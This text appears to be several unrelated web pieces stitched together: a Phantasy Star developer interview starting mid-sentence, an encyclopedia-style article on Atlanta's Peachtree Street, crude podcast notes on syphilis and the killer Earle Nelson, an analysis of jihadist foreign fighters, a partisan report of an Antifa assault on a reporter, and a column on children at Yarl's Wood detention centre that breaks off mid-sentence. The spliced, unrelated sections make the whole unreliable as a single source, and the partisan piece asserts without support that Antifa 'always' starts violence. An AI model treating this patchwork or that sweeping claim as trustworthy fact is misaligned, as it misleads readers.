Lutz, and it opens with him awakening from cryosleep. In the 1000 years since Phantasy Star, his abilities have changed. He’s more of a warrior now, and he sets out to wander the world. There was also a part where he warps back in time and has to save Alisa at the time of her birth. In the end he defeats his enemies and vanishes again. Kodama: We even brought him back for PSIV at first. We didn’t have any ideas and just started playing around with the characters. —Please tell us how the dungeons in Phantasy Star were designed. Shibata: You originally scrolled through the 3D dungeons in Phantasy Star much quicker. But we couldn’t have done them in 3D without Yuji Naka. Kodama: Regarding the 3D, we would get an image of the dungeon in our head and draw them out on paper, but there were little details that bugged us and it wasn’t getting across to the programmers as we had envisioned it. Yuji Naka learned of this and, on his own, made a wireframe 3D imaging program expressly for us. That program was also the start of Shibata learning to draw 3D graphics. That was what was amazing about Yuji: he would never just say “that can’t be done” to a planning or design idea. He thought about our wishes seriously and would always figure out some ingenuous way to make our ideas possible. He was very considerate of the designer’s vision, in other words. Hayashida: Right, and it was Yuji who fixed the speed of the dungeons. The scrolling was originally so fast they made your head spin, like some high-speed STG. Morimoto: They went so fast you got dizzy, like you were drunk or something. Rieko Kodama, PSI/II character designer. Kodama: We got many requests to make the dungeons in Phantasy Star II 3D too. But to make dungeons that would look satisfying to us, with rotating floors and other features, would have taken up too much memory on the Megadrive. It would have been almost impossible. Hayashida: And 3D dungeons aren’t really the essence of Phantasy Star, anyway. By the way, being able to save your game in the dungeons led to a huge problem. If you were deep in a dungeon and very close to death after a battle, you could then save your game. But in doing so, you’d always start out in that weakened state, and if you encountered an enemy you would never win, thereby getting trapped in the dungeon forever. It was especially tragic if it happened in the latter part of the game. With tears in your eyes, you’d have no choice but to start a new game. Kodama: Back then, we developers didn’t know much about RPGs. (laughs) —Just before Phantasy Star was released, I remember hearing that it would have both battery backup saves and a password system… Hayashida: Yeah, we did have those plans, but we had to cut the password feature out due to memory problems. Yoshida: With RPGs today it’s almost impossible to implement a password-save feature. If we had tried to add one for Phantasy Star IV, first, it would have to be absolutely perfectly entered (just having one character off would mean it wouldn’t work), and the password would be so long it would take two screens to write out–not the kind of thing you can just write down on a notepad. Anyway, compared with the original Phantasy Star, the sequels have many more party members and the amount of data isn’t even comparable. —One of the most memorable things about Phantasy Star was the ending. Making your way through the brutal final dungeon, beating the boss, and thinking the game is over… suddenly the screen scrolls up and you’re dropped back into the dungeon! I remember seeing that text on the wall and thinking, “who is that?! is there a true final boss?” My heart started racing. Whose idea was it to do that for the ending? Kodama: I don’t actually remember who suggested it. Who could it be… Hayashida: After you cleared it and the final pictures were shown, I remember being like, what shall we do for the ending staff roll? Someone came up with the idea of using the 3D dungeons, and we thought it would be cool to put the staff’s names up there. Toru Yoshida, graphic designer. Kodama: Yeah, I think it just came about in one of our random conversations. Though I remember the decision to just drop you back into the dungeon came at the very end of the development. We were thinking about how to get the player back there to show the credits, and we decided to just plop you back down in there. Hayashida: There was a routine in the program for falling through pitfalls, so it was easy to do. But the result was that surprising ending, so for its psychological impact I would call it a success! —Can you tell us any interesting stories or episodes about creating the monsters of Phantasy Star? Morimoto: We all thought the Zombie looked funny, so one time we tried to see how many we could put on-screen at once. It turns out you could have 8 of them there. But could they animate? They did, and everyone was completely grossed out by it! But the weirdest of all was the “Lich” character (spelled “Rich” in Japanese katakana). Despite his name this guy dropped no money when he was defeated! By the way, the Luveno spaceship was actually the very first mecha graphic that Kodama, our team leader in PSIV, had ever drawn. She had never drawn anything like that before, so I was wondering if she’d be nervous about it, and what kind of image she’d come up with. But I remember she was really relaxed about it. Back then when people came to visit our development room, it wasn’t like today where you have a more systemized organization of departments and such; rather, it was more like there’d be a teacher and pupil working together. It lent the development area a special atmosphere. —What do you mean by “teacher” and “pupil”? Kodama: Yeah, there were “teachers” for music, graphics, all the different aspects of development at Sega. That’s how I learned to do graphics, from Yoshiki Kawasaki, who now works in the PR department. The “gross-out” Zombie animation… now imagine 8 of them at once! —What, really? Kodama: Yes! Kawasaki did the sprites for Flicky and other older games. He’s extremely talented. That’s how I learned all these things: from the know-how passed down from older employees. Yoshida: Now you’ve got some people with Famicom experience, some with Megadrive experience, and just a whole variety of people joining the company. That old apprentice system is fading away, and I suppose you could say something of the old Sega is disappearing too. Morimoto: Maybe the Sega-ness of our games was nothing other than the humanity imparted by the apprenticeship system… —In Phantasy Star, there were some extremely powerful enemies in the last dungeon and last planet. They were stronger than the boss, Dark Force, weren’t they? Hayashida: That would be Mammoth and Golem. Mammoth, especially–if he appeared in a group, your heart started racing. I seem to remember they were really hard to flee from, too. Morimoto: I did all the enemy stats, and the flee percentage parameter was actually an enemy stat. You could run easily from monsters in the first half of the game, but by the second half it was very difficult. (laughs) Hayashida: Monsters sometimes appear in unexpected areas too, like the Serpent inside that one house of the Air Castle. Speaking of weird things, in the backstory the Centaur enemies are supposed to be these knights under Lashiec’s control, but when you use Telepathy on them and talk to them, they sometimes give you information. There’s a part of them that’s very “human.” Even the monsters in Phantasy Star were something unique. Morimoto: Yeah, and they weren’t monsters, but the village of lying Dezorians and truthful Dezorians was also different. Hayashida: We had a lot of fun designing the monsters and events for Phantasy Star. Ah, that reminds me… one of the most difficult things about this game was how hard it was to get money. Mixed in with the standard necessities were some surprisingly expensive items, if you tried to save up money for them. —Was the chemistry between the development staff a large part of the excellent balance Phantasy Star achieved? If the staff doesn’t get along, it seems like any good ideas would just disintegrate in that hostile atmosphere. Kotaro Hayashida, game designer. Hayashida: I think the success of Phantasy Star lies in the fact that the development staff was given the freedom to make the game we wanted, without restrictions or control. I wanted to create something that the Famicom wouldn’t have been able to do, so I wanted the dungeons to be in 3D. When I think back on the story now, there were a lot of ridiculous things in it, but we were able to do it how we wanted, had fun while we were doing it, and the result was a good game. After all, if you’re having fun, you can give it your all even when things gets tough. I think that synergy resulted in a good game. However, until the game was completed, there were a lot of unknowns. We had to give our full effort to the very, very end. RPGs have especially long developments, so by the latter half everyone is just run-down, you know? But if you relax and slack off at the very end, your game will feel sloppy regardless of all the previous work you did. In that sense, the difference between a good game and a bad game really depends on whether the staff can maintain their efforts in that final stretch. The deadlines are bearing down on you, and it’s very common for people to experience utter exhaustion at the end. There will be a difference between the image the designers had for the game, and the game you actually created, and figuring out how to adjust that gap at the very end is an important point. —I’d like to talk about Chieko Aoki, who created the backstory and world of Phantasy Star (and was a game designer for Phantasy Star II). What was she like? Morimoto: She was a very quiet, shy person, but she also had a strong inner core. During the development, when everything was getting crazy, she’d be unfazed, working steadily at her own pace. I think she had a lot of attachment to the story and world of Phantasy Star. That reminds me, I hardly ever stayed over at the company office, but one time we had to work on bug checking late into the night, so Chieko and I made some makeshift beds out of office chairs and spent the night there in a conference room. It felt just like a field trip. There would also be questions about the game circulating around the development room, and Chieko would often answer them. So we gave her the nickname “Otegami Chie” (Letter Chie). Letters from fans to “Gamer Miki.” —And what were the origins of the other nicknames for the development staff, like “Gamer Miki” and “Choko Oneesan” ? Morimoto: “Gamer Miki-chan” refers to me. I got that nickname because I did a lot of the playtesting and bug checks. Sega’s publication “SPEC” featured a manga called “Hataraku Kaihatsu-san” (the hardworking developers), and there’s an interview with “Gamer Miki” there too. I got a lot of postcards from fans addressed to that name. As for Choko Oneesan, there used to be a Telephone Answer line Sega ran called “Joy Joy Telephone.” She was the “Oneesan” from that early period. She was really popular with the kids and would receive a lot of fan letters. You know, it makes me wonder, in Phantasy Star, why was I the only one to be found in such a strange place as the jail??? Anyway, speaking of characters, I wonder if any Sega fans today remember “Professor Asobin” and “Doctor Games” ? They were characters who appeared in the back of Sega game manuals, and they’d give you hints and tips… —Can you tell us a bit about the sound/music development for Phantasy Star? Morimoto: Since Phantasy Star was made at the time of the Sega Master System, it was very difficult to create sounds for it. In that sense, you can’t talk about this game without mentioning its sound and music. Sometimes we’d ask Bo to create a certain songs, but if the image didn’t match up he’d have to rewrite it. After reworking it, he’d bring something to us all excited, but everyone would say “maybe the old version was better…” while Bo quietly wept. (laughs) Despite all that, Bo and the rest of the staff had a lot of love for this game. Back then we all worked together in the same room: sound, planning, programming. That was also where Bo made nearly all his music and sounds. It must have been tough. SST band plays the PSIII opening theme. Speaking of music, I think the SST band, a group composed of Sega Sound Staff, was formed just around the time Phantasy Star was released. They did a show at a park outside the east exit of Ikebukuro station, and I remember they were worried if people would even come. It was a big turnout though. Many things didn’t go right because it was their first live show, but it was a rare sight back then to see a video game sound team form a band, and the park was packed with people. It was a huge success. At that time the SST Band was using sequencers for the live show. A sequencer is something that lets you play back music you’ve programmed into it, and since they used sequencers in their early days, you often saw pictures of the band just standing there, not appearing to do anything. (laughs) Hayashida: With video game music, whether the songs are poppy or more complex, they need to have catchy melodies you could easily hum to yourself. Then the music has to match the development team’s ideas (graphically and otherwise), so it’s really quite difficult work. If the songs are too long they may not get fully heard in-game, or they’ll eat up too much program memory… it’s no easy job. —Are there any plans to port Phantasy Star? Morimoto: We often get requests from fans who never got to play the Master System Phantasy Star and want us to port it to the Megadrive. But the truth is, if you do a thorough search you can find toy stores where they’ve still got copies of the original game for sale. I’ve seen people write on message boards stuff like “I found a copy at XXX-store,” but when I went the next day myself to check, it was sold out. So it seems there’s still some left in some small, out-of-the-way places, but if you find one you had better snatch it up, or they’ll all soon be gone. However, as part of the promotional campaign for Phantasy Star IV, we’re giving out copies of the original Phantasy Star as a present. Make sure you enter! —One of the weirder events in Phantasy Star involves the cake selling girl in the middle of the dungeon. What was that about? Dungeon Bakery. Hayashida: People ask us a lot about that, even today. When Yuji Naka got back from America after finishing Sonic 2, I remember he saw that and said, “Why the hell is someone selling cake in that dungeon.” Yeah, everyone thought it was weird. Well, I’ve forgotten who exactly came up with the idea originally, but I believe it was a girl. I remember we talked about the event in the story where you go to meet the Motavian governor, and someone pointed out that since the governor is such an important person, you should probably bring him some kind of souvenir. Then we asked what it should be, and a girl said cake was good, so that’s what we did. But then the question came of where the cake shop should be located, and we agreed that it would be boring if it was in some normal or easily accessible place, and I think that was how we decided to put it in the dungeon. I think the woman who suggested it was probably Morimoto or Aoki, but whoever said it probably no longer remembers themselves. But yeah, that event reflects the large number of women on the Phantasy Star development staff. Message from Bo, Phantasy Star Composer Bo: Today there’s almost 20 people working as Sega Sound Staff, and I’m focusing on producing. But back then all our console game sound was done by me and one other person. And when I say “sound,” when you include things like sound effects, it means having to create over 100 sounds for each game. When we were busy I had to work on nearly 16 titles at the same time. For each game the image and world were different, so you couldn’t just put out shoddy knock-offs, nor could you expect to finish everything if you only worked at the office. All day, every day, I had to be constantly thinking about writing music: if I woke up in the morning with a melody in my head and could remember it through the train ride to work, then I figured it was a good melody and I’d end up using it. Time management was key to finishing everything. I’d parse out my time in blocks, working on songs for each game in a given period, then moving to the next. Bo and his sound studio at Sega, circa 1993 Phantasy Star was made during the Master System era, so there were restrictions in both the sounds available and the memory available. It was very difficult, but also very fun. The sounds from that game were a result of experimenting, trying this and that… not the kind of sounds you could create if you just relied on your theoretical knowledge. Even today Phantasy Star stands out as some of the most memorable work I did. Another aspect of the Phantasy Star development was that we all shared the same room: game designers, programmers, and sound. That meant everyone could peek in on everyone else’s work. I could check out where the game designers were at, and the designers could look over and see how the sound was going. It made for a very different atmosphere from what you see today in game development. The fans then also had a very refined appreciation for the sights and sounds of video games, too. I’d get letters from fans expressing support, or sharing their thoughts on the music. It was a real motivator for writing music. There were no sound tests in our games that time, and a fan once even sent me a tape she had made with all the game music carefully recorded on it. I was so surprised–she even recorded all the sound effects! -People celebrating on Peachtree Street Peachtree Street is one of several major streets running through the city of Atlanta. Beginning at Five Points in downtown Atlanta, it runs North through Midtown; a few blocks after entering into Buckhead, the name changes to Peachtree Road at Palisades Road. Much of the city's historic and noteworthy architecture is located along the street, and it is often used for annual parades, (such as the Atlanta St. Patrick's Day Parade and Atlanta Christmas Parade), as well as one-time parades celebrating events such as the 100th anniversary of Coca-Cola in 1986 and the Atlanta Braves' 1995 World Series victory. History [ edit ] Peachtree Street in 1907, carrying streetcar, horse, and automobile traffic. Atlanta grew on a site occupied by the Creek people, which included a major village called Standing Peachtree. There is some dispute over whether the Creek settlement was called Standing Peachtree or Standing Pitch Tree, corrupted later to peach. Pine trees, common to the area, were also known as pitch trees due to their sap.[1] A trail known as the Peachtree Trail stretched from northeast Georgia to Standing Pitch Tree along the Chattahoochee River.[2] The original Peachtree Road began in 1812 at Fort Daniel located at Hog Mountain in present-day Gwinnett County and ran along the course of the trail to the Chattahoochee. Some portions of the present road trace this route. After the American Civil War a shantytown named Tight Squeeze developed at Peachtree at what is now 10th Street in Midtown Atlanta. It was infamous for vagrancy, desperation, robberies of merchants transiting the settlement.[3][4] In 1867, the name of Whitehall Street, the original road to White Hall Tavern in today's West End neighborhood, was changed to Peachtree Street from Marietta Street south to the railroad crossing (now "gulch") just north of Alabama Street.[5] Later in the 1980s,[6] the portion of Whitehall Street from Five Points south to Forsyth Street and Memorial Drive, a major shopping district from the Civil War through mid-20th century, was renamed Peachtree Street SE. In 2007, Atlanta mayor Shirley Franklin unveiled a $1 billion, 20-year plan to transform Peachtree Street with streetscape upgrades, public parks, buried utilities, and the addition of a streetcar, based on a sixteen-month study by the Peachtree Corridor Partnership task force.[7][8] Nomenclature [ edit ] Peachtree Street as it travels through Midtown The Peachtree name is common throughout the Atlanta area. In fact, it is often joked by natives that half of the streets in Atlanta are named Peachtree, and the other half have five names to make up for it.[citation needed] While “Peachtree” alone almost always refers to this street or its continuations, there are 71 streets in Atlanta with a variant of “Peachtree” in their name.[9] Some of these include: Peachtree Creek Road Peachtree Lane Peachtree Avenue Peachtree Circle Peachtree Drive Peachtree Plaza Peachtree Way Peachtree Memorial Drive New Peachtree Road Peachtree Walk Peachtree Park Drive Peachtree Parkway Peachtree Valley Road Peachtree Battle Avenue (commemorating the Battle of Peachtree Creek) Peachtree Dunwoody Road (running between Peachtree Street and Dunwoody, Georgia) Old Peachtree Road (traces part of the route of the original Peachtree Trail for which the road is named) Atlanta St. Patrick’s Day Parade on Peachtree Street, 2013 Peachtree is also seen in place names: Peachtree Center is a major development of skyscrapers and other high-rises in downtown, with Peachtree Center Avenue running a block east of Peachtree Street. Peachtree City is a planned-suburb golf community located south of the city. Peachtree Corners is also a planned suburb located north of the city. West Peachtree Street [ edit ] West Peachtree Street is not a western branch of Peachtree Street, but a major parallel (and unlike Peachtree, almost perfectly straight) due north/south street running one block west of Peachtree Street through downtown, and mostly two or three blocks west (due to the curves in Peachtree Street) through Midtown. West Peachtree divides the northeast and northwest quadrants of the city and county for street addressing purposes. Where the current Peachtree Street turns to Peachtree Road and briefly heads northwest, it actually crosses West Peachtree, leaving it on the "east" side. It is at this point that the Buford-Spring Connector (Georgia 13) begins, taking the route of old I-85. The studios of WSB-TV are located on this section of “West” Peachtree Street[citation needed], which terminates at I-85. Through this section north of 17th Street in Midtown, and in downtown south of North Avenue to Peachtree Street (and continuing south then southwest on Peachtree to Luckie Street / Auburn Avenue), the MARTA north/northeast line (red and orange/gold trains) runs directly under West Peachtree. Between the two, it runs no more than a block to the east. Route numbers [ edit ] From the Buford-Spring Connector north to Roswell Road, Peachtree Street and Peachtree Road carry U.S. 19 and Georgia 9. At a five-way intersection with East/West Paces Ferry Road at the center of the original Buckhead Village, these continue north onto Roswell Road, and Georgia 141 begins on Peachtree instead. South of the connector, 9 and 19 continue on two one-way streets: West Peachtree Street northbound and Spring Street southbound. Peachtree meets Piedmont Road (Georgia 237) between Buckhead Village and Lenox Square. Besides the southwestern terminus of Georgia 13 (mentioned above) the only other major intersection in Atlanta is at North Avenue, which carries Georgia 8, U.S. 29, U.S. 78, and U.S. 278. There are no direct highway interchanges from Peachtree to the Downtown Connector (I-75/85), I-85, or Georgia 400 freeways, all of which it crosses. However, there is a full interchange at I-285, at which point Peachtree Industrial Boulevard is built as an expressway for a few miles. Landmarks [ edit ] Modern glass structures on Peachtree Street in Midtown Many of Atlanta's most prominent buildings and landmarks are located along Peachtree Street. In downtown, 191 Peachtree Tower, Georgia-Pacific Tower, Westin Peachtree Plaza and SunTrust Plaza all line Peachtree. In Midtown, Bank of America Plaza, Atlanta's tallest building, is a block south of the "Fabulous" Fox Theatre, a grand movie palace completed in 1929. Author Margaret Mitchell was killed by a speeding car in 1949 while crossing Peachtree Street as a pedestrian at the intersection with 13th Street. Mitchell wrote her classic Gone With the Wind in the basement apartment of a boarding house at the corner of 10th Street and Peachtree Street. That house is now a museum and is located across 10th Street from the Federal Reserve Bank of Atlanta which serves the southeastern United States. The film debuted at the Loew's Grand Theatre, at the corner of Peachtree and Forsyth Street, where the Georgia-Pacific Building now stands. Office buildings 1100 Peachtree (formerly owned and occupied by BellSouth) and 1180 Peachtree, home to major law firms, are prominent business addresses. The heart of Atlanta's arts scene is found just north on Peachtree where the Woodruff Arts Center, including the High Museum of Art, Atlanta Symphony, Alliance Theatre Company, and the Atlanta campus of the Savannah College of Art & Design are located. Although most have been demolished, there are still several historic buildings left along Peachtree in Buckhead. Several of these are stores, in single-story brick buildings constructed well before the annexation of Buckhead in 1952. Northeast of the city limit, the road goes through Brookhaven and passes Oglethorpe University. Upon entering Chamblee, the road splits into Peachtree Industrial Boulevard and Peachtree Road. Peachtree Road becomes a two-lane road that travels further east towards Doraville, while Peachtree Industrial Boulevard continues more on a more northerly trajectory (as Georgia 141) towards Dunwoody and Peachtree Corners. Retail [ edit ] The Buckhead shopping district features many high-end retailers, concentrated in the Phipps Plaza and Lenox Square malls. Buckhead Atlanta (formerly "Streets of Buckhead") is a mixed-use development that opened in 2014. The "Midtown Mile" was a concept to make part of Peachtree in Midtown like the Magnificent Mile in Chicago. Geography [ edit ] Atlantans are often convinced that the ridge followed by Peachtree Street is part of the Eastern Continental Divide. While Peachtree Street is atop a ridge, railroad tracks were built on the actual Eastern Continental Divide, which follows DeKalb Avenue from Decatur to Five Points, then turns southwest toward the Atlanta airport, with the northwest side draining into the Chattahoochee or Flint Rivers and therefore into the Gulf of Mexico, and the southeast side eventually into the Atlantic Ocean. In 1959, Whitehall Street SW, which meets Peachtree Street NE at Five Points, was renamed "Peachtree Street SW", and the Eastern Continental Divide follows this street, so a small portion of the story may be technically correct. Atlanta's primary water source is the Chattahoochee and much of the water is pumped over the watershed. To balance the river flows, treated sewage is pumped back to the Chattahoochee. In popular culture [ edit ] Gallery [ edit ] See also [ edit ] References [ edit ] -Dave: It started with ulcers on the genitals. Gareth: That is right off the bat a terrible start–and did you just wink at me? Before I dig (eww) deep on this one, let’s start with the science and stuff. From the Center for Disease Control, here you go–facts and stuff in .html and .pdf. Sorry, no adult coloring books (for now–give me time): Syphilis: basic: .pdf download detailed: .pdf download images of symptoms (worse than anything in the .js embed, so I double dog dare you) Also in: Español (Spanish) 中文 (Chinese) Kreyòl (Haitian Creole) Русский (Russian) Tiẽng Viêt (Vietnamese) Congenital Syphilis: basic: pdf download Also in: Español (Spanish) My vagina’s dropped! –Gareth Mine, too, buddy. But we’re not done yet. Clench those Kegels. They really do work. Four stages of syphilis: primary secondary latent tertiary Dig deeper into the Dollop: Tags: STDs, syphilis, gonorrhea, chlamydia Now. Let’s have a little chitty-chat about what happens when two folks with untreated syphilis have a child. When a mommy and daddy love each other very, very much, something magical happens– Meet Mr. Earle Nelson. He was born to parents who both had long-term untreated syphilis when he was born–at least one of them had neurosyphilis–and both were so ravaged by The Syph that they were both deceased before Earle turned three. Neurosyphilis is an infection of the brain and/or spinal cord that occurs from long-term untreated syphilis–basically, when chronic latent or tertiary syphilis jumps the gap and crosses the streams. Plenty of chronically ill parents raise children, and everything turns out okay, you say? That is true, very true. But let’s look at the combined symptoms of neurosyphilis and chronic syphilis, and translate them to a living environment for a child who was certainly also born with congenital syphilis, shall we? Buckle your seatbelt and grab your dental dams. *chronic headaches, blindness/vision problems/ hyper-photosensitivity + visual disturbances + psychosis (which certainly may include paranoia) = exceedingly dark home. Think every horror movie that shows a psycho killer’s lair (spoiler alert) with random newspapers or aluminum foil blockading the windows. What do you think limited visual field does to baby’s brain development, congenital syph or no? *confusion, disorientation, again with the psychosis, sudden personality changes, changes in mental stability (redundant, but I am overemphasizing because o the humanity), dementia, depression, irritability, memory problems, mood disturbances = completely unstable and unpredictable environment. Baby Earle cannot trust that the parent approaching him will behave consistently from moment to moment. Plus, with all these mental processing problems, odds are good that someone is going to forget there even is a baby. Regularly. *abnormal gait + numbness in toes, feet, legs + fecal and urinary incontinence + muscle weakness + tremors + seizures + neck stiffness = even if the parents are physically able to lift and carry baby Earle—imagine what this looks like to a toddler. HORROR SHOW. He doesn’t have normal movements to model. Plus, add in all the chancres all over their skin, all the lovely skin rot. That’s a given. Well, what happened to baby Earle? Well, both parents’ bodies gave out before he turned three, and he was sent to live with his grandmother (where was she with the shit everywhere and the newspaper on the windows what the hell), and they lived happily ever– GOTCHA. Grandma was a devout, strict Pentecostal, so Earle’s transition must have been a doozy, and God only knows (amirite) how much of his early childhood and his own syphilis was blamed upon him. At age ten, he collided with a streetcar–Head Injury City–and, when you add that catastrophic a head injury to a congenitally syphlitic brain, you get ding ding ding! unconscious for six days! SIX. So, who is this poor Sad Syph Sack who never had a chance? Earle Leonard Nelson, “the Gorilla Man”, necrophiliac serial killer of at least 22 victims from February 20, 1926–June 9, 1927. yay. There’s no happy endings with syphilis. Wear a fucking condom. My favorite true crime historian, Harold Schechter, wrote a splendid book about the Gorilla Man and his 14 months of horror: Bestial: The Savage Trail of a True American Monster. But wait, there’s more: Treatment of syphilis in early modern Europe: …understanding of cause necessarily affects treatment. Translation: hang on to your tits, there’s about to be some bloodletting and mercury rubbing. Don’t say it out loud or Quentin Tarantino will make it into a movie. –Dave And…This is, of course, going to be a two-parter. I have to cover war propaganda and wartime medicine, Al Capone, more social injustice…and I have to go in deeper and rant and rave about the human experimentation, especially at Tuskegee. But that day is not today, my loves. For now, I don’t have enough oomph left (stupid immune system) for the ragey typing, and I have just typed syphilis and syph enough for one day don’cha think? Band names from this episode: The Blame Game: first hit, “Pure Woman, Spotless Children, Happy Man” Absent Genital Box Syphillis Fembots Weapons of Sexism Hairy Canteen and the Towel Theory Gravy Bag Social Evil Hospital Genital Gestapo Cultural references from this episode: -The current wave of foreign fighters emerging from the conflict in Iraq and Syria will be larger and potentially more dangerous than the mujahideen guerrillas that were a byproduct of the Soviet-Afghan conflict in the 1980s, FBI Director James Comey warned last September. That is an especially foreboding observation, since the foreign fighters borne from the Afghan conflict went on to form the core of Al Qaeda and fight in the internecine conflicts in Bosnia, Algeria and Chechnya during the 1990s. When one conflict ends, these fighters often use their connections to move on and join another fight. This phenomenon is likely to worsen in the future. The number of foreign fighters participating in the conflict in Iraq and Syria is significant compared to those who participated in Afghanistan in the 1980s. Even more concerning, jihadists have improved and facilitated their networking capacity—improved communication, eased transportation, and diversified access to sources of information and money can make even small cadres of experienced fighters a dangerous force. The foreign-fighter phenomenon is not new. Over the past two hundred years, they have appeared in more than a quarter of all civil wars. But now these fighters engage in foreign civil wars and insurgencies—and then export their expertise back to their home countries or to places they have newly immigrated. While jihadism expert Thomas Hegghammer has estimated the number of foreign fighters in Afghanistan during the anti-Soviet conflict at between five thousand and twenty thousand, other scholars such as Edwin Bakker and Mark Singleton have pegged the crop of foreign fighters currently in Iraq and Syria at around thirty thousand. Other trusted sources have settled on a similar figure. The foreign fighters in Syria are not strictly Sunnis: significant numbers of Afghan and Pakistani Shia are also fighting alongside Hezbollah and other pro-Assad elements. Encrypted communications and the ubiquity of social media mean that even after the caliphate disappears, the ideology of Salafi jihadism will persist, existing online as a virtual caliphate, and offering aspiring jihadists hope that the next major battle is all but inevitable. But what else might the international community glean from similarities and differences between the Afghan offspring versus the present-day Iraqi-Syrian progeny? For starters, as much as some scholars dismiss the importance of territory, the control of major cities like Mosul, Iraq and Raqqa, Syria has provided ISIS with consistent access to safe haven and sanctuary. Given the continued assault on ISIS strongholds, there is little doubt that its members (foreign fighters as well as those from Iraq and Syria) will flee abroad to fight in other conflicts in places like Yemen, Libya, Afghanistan and elsewhere. With ISIS sustaining major territorial losses, some foreign fighters are refusing to fight while others are already attempting to return to their countries of origin. In Europe, this has been characterized as a low-probability, high-impact threat. Disrupting the reverse flow of the foreign-fighter pipeline remains a top priority for European governments and intelligence agencies. To ensure that the foreign fighters who leave Iraq and Syria do not reconstitute elsewhere, it is critical they be denied safe haven, sanctuary, and the ability to train and network with other terrorists and insurgents in ungoverned territories. This must remain a priority, not only for the West, but for all nation-states affected by terrorism, including China and Russia. The foreign-fighter contingent from Europe has been well-documented, but less understood are the ramifications of militants returning to countries that are ill-equipped and lack a domestic-security infrastructure to combat sustained acts of terrorism. This includes Trinidad and Tobago, which has the greatest per-capita number of foreign fighters in the Western Hemisphere. In addition, some major global powers are preparing to deal with radicalized returnees from Syria. China is becoming increasingly worried about the growing threat of Uighur militants, jihadists from China’s western Xinjiang region, fighting in the Middle East, some of whom may return home to China to strike against Beijing. For Russia, the sheer number of its citizens fighting for ISIS—almost 2,400—is troubling; if even a fraction return home, it could cause major issues for Moscow. Jihadists from the former Soviet Union are rumored to be among the most effective and feared fighters in Syria today. The mujahedeen that formed the core of Al Qaeda were able to rely upon Afghanistan as a hub for terrorist activity and training, provided in part by the Taliban. The global coalition arrayed to combat ISIS must do everything possible to ensure that Syria, Iraq, Libya, Yemen and other countries in the Middle East and North Africa do not become fertile soil for the current wave of jihadists to plant roots. States with differing agendas and adversarial relationships have worked together in the past to counter terrorism. Most recently, the United States, Iran, Turkey and Russia came together in Syria to retake Palmyra from ISIS. Similar cooperation will be vital to ensuring that the threat from jihadists can be contained in the wake of the offensive against Mosul and the forthcoming assault on ISIS’s stronghold of Raqqa . Colin P. Clarke is a political scientist at the nonprofit, nonpartisan RAND Corporation and an associate fellow at the International Centre for Counter-Terrorism (ICCT)-The Hague. Chad C. Serena is a political scientist at RAND. Amarnath Amarasingam is a senior research fellow at the Institute for Strategic Dialogue and a fellow at The George Washington University’s Program on Extremism. Image: Sgt. Mike Garcia of the 8th Security Police Squadron is silhouetted against the sky as he holds a Stinger anti-aircraft guided missile during the air base ground defense Exercise Foal Eagle '89. Wikipedia Commons / Staff Sgt. Val Gempis​ -Conservative Reporter Posobiec Assaulted by Violent Left-Wing Antifa Member at DC Protest (VIDEO) Washington D.C. – Rebel Media reporter, Jack Posobiec was assaulted by a member of Antifa as he was reporting on the ‘May Day’ protests. Antifa is out in full force today and admittedly preparing for violence. As usual, left-wing Antifa members are the violent ones who don’t believe in freedom of speech or freedom of the press. Jack Posobiec was assaulted by this man simply because he is a reporter with different views. VIDEO: Assaulted by Antifa again and I defended myself #MayDay2017 pic.twitter.com/3DDqK1nAYn — Jack Posobiec 🇺🇸 (@JackPosobiec) May 1, 2017 Jack Posobiec also did a periscope explaining what happened. He used reasonable force for self defense. Posobiec is also filing a police report. VIDEO: Jack Posobiec Attacked by Antifa – Uses Reasonable Force for Self Defense https://t.co/1HQ606sJBt — Jack Posobiec 🇺🇸 (@JackPosobiec) May 1, 2017 Antifa anticipating violence (they always start it) -What sort of country sends a dozen uniformed officers to haul innocent sleeping children out of their beds; gives them just a few minutes to pack what belongings they can grab; pushes them into stinking caged vans; drives them for hours while refusing them the chance to go to the lavatory so that they wet themselves and locks them up sometimes for weeks or months without the prospect of release and without adequate health services? My country, apparently. Reading the report (The Arrest and Detention of Children Subject to Immigration Control [2.4MB PDF] ) from England's Children's Commissioner, Sir Al Aynsley-Green, into the treatment of children and young people at the Yarl's Wood Immigration Removal Centre near Bedford will leave many feeling ashamed. Of course, there are no easy answers as to how Britain ensures that foreigners don't abuse our benevolence by claiming asylum without good reason. But can this conundrum ever necessitate our treating children with such cruelty? Sir Al went into Yarl's Wood almost a year ago and spoke to staff, families and children. The centre is where many failed asylum-seekers are held before deportation. Each year, around 2,000 children are locked up there. The testimony from the youngsters who find themselves unwittingly ensnared at the sharp end of the immigration system tells a story more resonant of a totalitarian state than of contemporary Bedfordshire. The arrest According to the children's accounts, some were still asleep when the arrest teams arrived - large numbers of uniformed officers who on occasion hammered on the door or even smashed it down and ran into their homes shouting. One boy of 11 told the children's commissioner: "There was this woman, just shouting, shouting at my sister to get up. She was in bed asleep and she's only five so she was crying and the woman just kept shouting at her. She didn't have to do that. The search was bad. Why did they have to search my sister? She is only five, what is she going to have? They touch you all over and they're rough. It's rude." The report explains how some children described officers as taking pleasure in the family's distress, including telling them that they were "going back to their own country" and laughing and making fun of them when they showed signs of distress or anxiety. One child said that an officer had called his mother "stupid" and laughed at her crying and distress, while others were told that it was "tough" if they didn't like the officer's attitude. The children and young people revealed that some immigration officers had used force to control and restrain them - a finding that the children's commissioner describes as "a significant cause for concern". Imagine what it must be like if you are a young child who has lived in the UK for many years, perhaps all your life, to be woken one morning and told you have just a few minutes to pack your stuff and get out. That, apparently, was a common complaint of the children and families in Yarl's Wood, a procedure that the report describes as "one of the most de-humanising aspects of the arrest process". Children were forced to leave behind their most treasured possessions such as shoes, school books, toys and music. Many would never be reunited with their belongings. A single woman told Sir Al that she had been handcuffed in front of her children, aged one and three, after "panicking" when she was told that she had only three minutes to pack. Another family with two children suffering from sickle-cell anaemia was prevented from collecting antibiotics and folic acid needed by the children. The UK Border Agency, which is responsible for the system, "accepts the need to do more work around the topic of belongings that are left behind" and is reviewing the use of force and guidance on medication. The journey According to Lin Homer, head of the UK Border Agency speaking on BBC Radio 4 Woman's Hour last September: "we do not use caged vans, we use people carriers". The "Enforcement Instructions and Guidance" states: "Families should not be transported in caged vans unless the risk assessment dictates otherwise." But that is not what the children said. And when challenged, the agency admitted to the commissioner that "contractors do sometimes use caged vans during the 'second stage' transport of families from the reporting centre to Yarl's Wood". This is often the longer part of the journey, with children imprisoned in vehicles "stinking of urine" and "stained" with vomit. No wonder some said that the journey made them feel like criminals or animals. What's more, many of the children complained about the lack of "comfort breaks" on the long journeys to detention. This had led to "accidents" in some cases. A chance to go to the lavatory was apparently denied "even when the vans stopped for petrol and, on at least two 